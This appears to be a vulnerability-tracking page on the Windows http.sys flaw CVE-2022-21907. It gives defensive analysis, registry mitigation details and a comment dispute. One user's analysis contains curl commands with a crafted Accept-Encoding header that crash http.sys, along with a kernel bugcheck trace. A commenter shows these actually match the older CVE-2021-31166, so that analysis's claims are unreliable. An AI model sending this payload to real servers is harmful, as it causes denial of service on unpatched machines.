Very High
CVE-2022-21907
Very High
(2 users assessed)
High
(2 users assessed)Unknown
Unknown
Unknown
Description
** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.
Add Assessment
Technical Analysis
Update: There appears to be some initial patch analysis on this vulnerability at https://piffd0s.medium.com/patch-diffing-cve-2022-21907-b739f4108eee which seems to suggest the patched functions are UlFastSendHttpResponse, UlpAllocateFastTracker UlpFastSendCompleteWorker, UlpFreeFastTracker, and UlAllocateFastTrackerToLookaside. They also note that based on their analysis a safe assumption may be that the vulnerable code path is hit first in UlFastSendHttpResponse and some of the fixup / mitigations were applied to memory chunks in the other functions. Analysis is still ongoing though.
There has been a lot of confusion r.e this vulnerability, which is a RCE in the HTTP Trailer Support feature of the http.sys component which is responsible for the HTTP Protocol stack used by several high privileged Windows components. The best writeup I was able to find was at https://isc.sans.edu/diary/28234 however note that investigation is still ongoing and its likely that things will change over time.
First off, to be clear, despite http.sys appearing to be associated with IIS, this is not in itself an IIS vulnerability. As noted at https://isc.sans.edu/diary/28234, you can find which components are using http.sys by running the command netsh http show servicestate. You’ll likely find more components using it then you thought, for example Intel components use this for some odd built in HTTP server (yeah I’m not sure either but there you go).
Secondly, whilst the vulnerability affects Windows 10 1809 and Windows Server 2019 and later, by default, and only on Windows 10 1809 and Windows Serve r 2019, HKLM:\System\CurrentControlSet\Services\HTTP\Parameter\EnableTrailerSupport is set to 0 by default, thus disabling the vulnerable trailers feature. This means these versions are not vulnerable out of the box, however if the HKLM:\System\CurrentControlSet\Services\HTTP\Parameter\EnableTrailerSupport registry key is set to 1 then they are. All other affected versions of Windows are vulnerable using their default settings.
As this is a kernel level vulnerability and it being exploited remotely I imagine now would be a good time to remind people that RCE bugs in the Windows kernel have become increasingly hard to exploit. Whilst Windows 7 was easier to exploit due to lack of a number of mitigations, with Windows 10 and Windows 11, several mitigations have been implemented into the Windows kernel specifically to prevent RCE kernel exploits and from my experience they work very well to this effect (local privilege escalation attacks are another story which still needs improvement though).
Finally as for those wondering what Trailer support is anyway (like myself), https://isc.sans.edu/diary/28234 notes that RFC7230 specifies the protocol for trailer support, noting that it only makes sense if Transfer-Encoding: chunked is used in a request to a server. This allows a requestor to essentially chunk the request up into several smaller packets and then only send the headers for the request after the request body has been sent. The original idea behind this was that the request body may be generated over time and we want to start sending data as it becomes available to speed things up and ensure quicker operations.
Hopefully that helps, still not a lot of detail on this right now and there will likely need to be some patch diffing going on before people are able to better determine the root cause of this issue, but for now I’d say patch if you can whilst also keeping in mind a working exploit will likely take time to develop if its possible given Microsoft’s kernel level mitigations for Windows 10.
Technical Analysis
CVE-2022-21907
MSRC
Description:
NOTE: After a couple of hours of tests and experiments, I found that there have been no vulnerabilities, this is just a ridiculous experiment of Microsoft. When I decided to install the IIS packages on these Windows platforms, everything was ok, and everything is patched! Windows Server 2019, Windows 10 version 1809 – 2018 year are not vulnerable by default, but after I decided to upgrade from 1909 to 2004. I found a serious problem! The Windows 10 version 2004 – 2020 year is still vulnerable to the HTTP Protocol Stack (HTTP.sys). Attack method: buffer overflow – deny of service and restart the system. This problem exists, from last year which is reported on CVE-2021-31166, and still there! On that days I have worked on it again with the help and collaboration of Axel Souchet 0vercl0k the author of the idea. On that day, I wrote an only one-line command to exploit this vulnerability!
Status: CRITICAL
- NOTE:
The HTTP Trailer Support feature that contains the vulnerability is not active by default.
The following registry key must be configured to introduce the vulnerable condition:
Faq
How could an attacker exploit this vulnerability?
-
- In most situations, an unauthenticated attacker could send a specially crafted packet to a targeted server utilizing the HTTP Protocol Stack (http.sys) to process packets.
- In most situations, an unauthenticated attacker could send a specially crafted packet to a targeted server utilizing the HTTP Protocol Stack (http.sys) to process packets.
Is this wormable?
-
- Yes. Microsoft recommends prioritizing the patching of affected servers.
- Yes. Microsoft recommends prioritizing the patching of affected servers.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters\ "EnableTrailerSupport"=dword:00000001
This mitigation does not apply to the other affected versions.
Simple test connection before debugging:
curl "http://192.168.1.8/201" -H "Accept-Encoding: pwn, pwned, package"
- Output:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/> <title>404 - File or directory not found.</title> <style type="text/css"> <!-- body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;} fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF; background-color:#555555;} #content{margin:0 0 0 2%;position:relative;} .content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;} --> </style> </head> <body> <div id="header"><h1>Server Error</h1></div> <div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div> </div> </body> </html>
302
curl "http://192.168.1.8/302" -H "Accept-Encoding: pwn, pwned, package"
- Output:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/> <title>404 - File or directory not found.</title> <style type="text/css"> <!-- body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;} fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF; background-color:#555555;} #content{margin:0 0 0 2%;position:relative;} .content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;} --> </style> </head> <body> <div id="header"><h1>Server Error</h1></div> <div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div> </div> </body> </html>
404
curl "http://192.168.1.8/404" -H "Accept-Encoding: pwn, pwned, package"
- Output:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/> <title>404 - File or directory not found.</title> <style type="text/css"> <!-- body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;} fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF; background-color:#555555;} #content{margin:0 0 0 2%;position:relative;} .content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;} --> </style> </head> <body> <div id="header"><h1>Server Error</h1></div> <div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div> </div> </body> </html>
Bugcheck:
1: kd> kp Child-SP RetAddr Call Site ffffa102`87993158 fffff806`50404929 nt!KeBugCheckEx ffffa102`87993160 fffff806`50404d50 nt!KiBugCheckDispatch+0x69 ffffa102`879932a0 fffff806`504030e3 nt!KiFastFailDispatch+0xd0 ffffa102`87993480 fffff806`4f33f537 nt!KiRaiseSecurityCheckFailure+0x323 ffffa102`87993610 fffff806`4f2f6ac5 HTTP!UlFreeUnknownCodingList+0x63 ffffa102`87993640 fffff806`4f2cd191 HTTP!UlpParseAcceptEncoding+0x298f5 ffffa102`87993730 fffff806`4f2a9368 HTTP!UlAcceptEncodingHeaderHandler+0x51 ffffa102`87993780 fffff806`4f2a8a47 HTTP!UlParseHeader+0x218 ffffa102`87993880 fffff806`4f204c5f HTTP!UlParseHttp+0xac7 ffffa102`879939e0 fffff806`4f20490a HTTP!UlpParseNextRequest+0x1ff ffffa102`87993ae0 fffff806`4f2a4852 HTTP!UlpHandleRequest+0x1aa ffffa102`87993b80 fffff806`5035b715 HTTP!UlpThreadPoolWorker+0x112 ffffa102`87993c10 fffff806`503fa078 nt!PspSystemThreadStartup+0x55 ffffa102`87993c60 00000000`00000000 nt!KiStartSystemThread+0x28 1: kd> !analyze ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* KERNEL_SECURITY_CHECK_FAILURE (139) A kernel component has corrupted a critical data structure. The corruption could potentially allow a malicious user to gain control of this machine. Arguments: Arg1: 0000000000000003, A LIST_ENTRY has been corrupted (i.e. double remove). Arg2: ffffa10287993480, Address of the trap frame for the exception that caused the bugcheck Arg3: ffffa102879933d8, Address of the exception record for the exception that caused the bugcheck Arg4: 0000000000000000, Reserved Debugging Details: ------------------ *** WARNING: Unable to verify timestamp for win32k.sys BUGCHECK_CODE: 139 BUGCHECK_P1: 3 BUGCHECK_P2: ffffa10287993480 BUGCHECK_P3: ffffa102879933d8 BUGCHECK_P4: 0 PROCESS_NAME: System ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. SYMBOL_NAME: HTTP!UlFreeUnknownCodingList+63 MODULE_NAME: HTTP IMAGE_NAME: HTTP.sys FAILURE_BUCKET_ID: 0x139_3_CORRUPT_LIST_ENTRY_HTTP!UlFreeUnknownCodingList FAILURE_ID_HASH: {1b194f54-2d0b-e3a8-62e2-afded08822bd} Followup: MachineOwner ---------
Exploit after bugcheck:
Aftershock:
Music:
Reproduce:
Proof and Exploit:
IMPORTANT!!!
- Microsoft: They said: We don’t support anymore this Windows 10 version 2004!
- Wooooow, this is so young version, and for one bug you will deprecate this distro!?
- WTF :D
WARNING!!!
- Dear users, you must fix your problem with this version 2004, alone!
- So, follow the steps, I will help you if you need to use exactly this version of
Windows 10 2004
CONCLUSION!
If you decide to UPGRADE from 1809 > 1909 to 2004, you MUST INSTALL all PATCHES for version 2004 to the LATEST from Microsoft!!!
After Update – RECOMMENDED:
1.
2.
3.
Done:
- The problem with version
2004is fixed, after installing all patches and updates!
Proof:
NOTE!!
In the world have hundreds of thousands of machines are using exactly this version and are still not `updated` for some reason or whatever! You can imagine what is going on if some malicious user will detected them!
Latest information:
Please, stay informed of the case on:
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907
- m0r3:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21907
KR @nu11secur1t
Your assessment is correct however the bug you are describing is for CVE-2021-31166 as mentioned at https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2021-31166-rce-in-microsoft-httpsys/. This was an earlier bug in http.sys that was patched in March 2021 which had a PoC published at https://github.com/0vercl0k/CVE-2021-31166.
This is not CVE-2022-21907, which is a bug in the HTTP Trailer Support feature, not the Accept-Encoding feature as you have shown above.
Feel free to move your assessment to CVE-2021-31166 if you want though, but I don’t think this assessment is for CVE-2022-21907.
Ooh, my friend good afternoon =) Obviously, you don’t understand that the problem is not fixed completely.
So, The versions 1908, server 1909, and 2019 versions are not vulnerable by default, they are already patched on the PROD iso
and the problem is fixed, but not yet :D. But if you decide to UPGRADE these products, from 1809 > 1909 to 2004: BOOM – congratulation :D Microsoft has changed the description of the problem, and that what is vulnerable, and what is not. Please read it again!!! We have opened a new case for this CVE + so the information is confidential, and I’m sorry that I can not share more details for the newly opened case!!! As I mentioned, we discovered the problem last year, and I’m glad that you find out about our discussion with 0verkl0k :D This is already reported, and we work on it with Microsoft. So. Do not play with my patience my friend, please!
KR
Sorry don’t mean to offend but the version you posted as exploiting is Windows 10,0.19041.264, which as noted at https://support.microsoft.com/en-us/topic/windows-10-insider-preview-build-19041-264-3780ec1d-46ed-6847-8a40-afc2204c1b1d is an Insider Preview version of Windows 10 v2004 from October 2020. I’d find this more believable if you ran the tests on a December 2021 build of Windows 10 which would have patched CVE-2021-31166 but not CVE-2022-21907.
Additionally Windows 10 v2004 stopped being support after 2021 which is why if you look at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907 you will see no mention of a patch for Windows 10 v2004 for CVE-2022-21907.
Understand that given the stack trace is pretty much exactly the same as the blog post I mentioned combined with the fact that your demo is running against a very outdated version of Windows that is no longer supported, it looks like you were exploiting CVE-2021-31166. If you can demo the bug against something like 10.0.19044.1415, or even something like 10.0.19043.1415, I’d find that to be a lot more of an accurate test as you are testing it against the December 2021 patches vs October 2020 patches.
Whatever. Obviously, you don’t understand.
Yesterday I found people which using exactly this version without any updates, for their special purpose. By the way, this version is NOT old :D Microsoft just doesn’t give a shit about their clients, they have a lot of money. This is so stupid to deprecate OS which is so young because you can not fix one stupid sanitizing error ok! So, please bro… Stop writing bullshits, and trying to explain to me things which you don’t understand! Bay the way, there is no issue and problems, which are described on CVE-2022-21907, and never has, this is a ridiculous experiment of Microsoft. ;) So. Love and peace!
BR =)
General Information
References
Hi gwillcox
just found an exploit (not tested) on github: https://github.com/antx-code/CVE-2022-21907/blob/main/CVE-2022-21907.py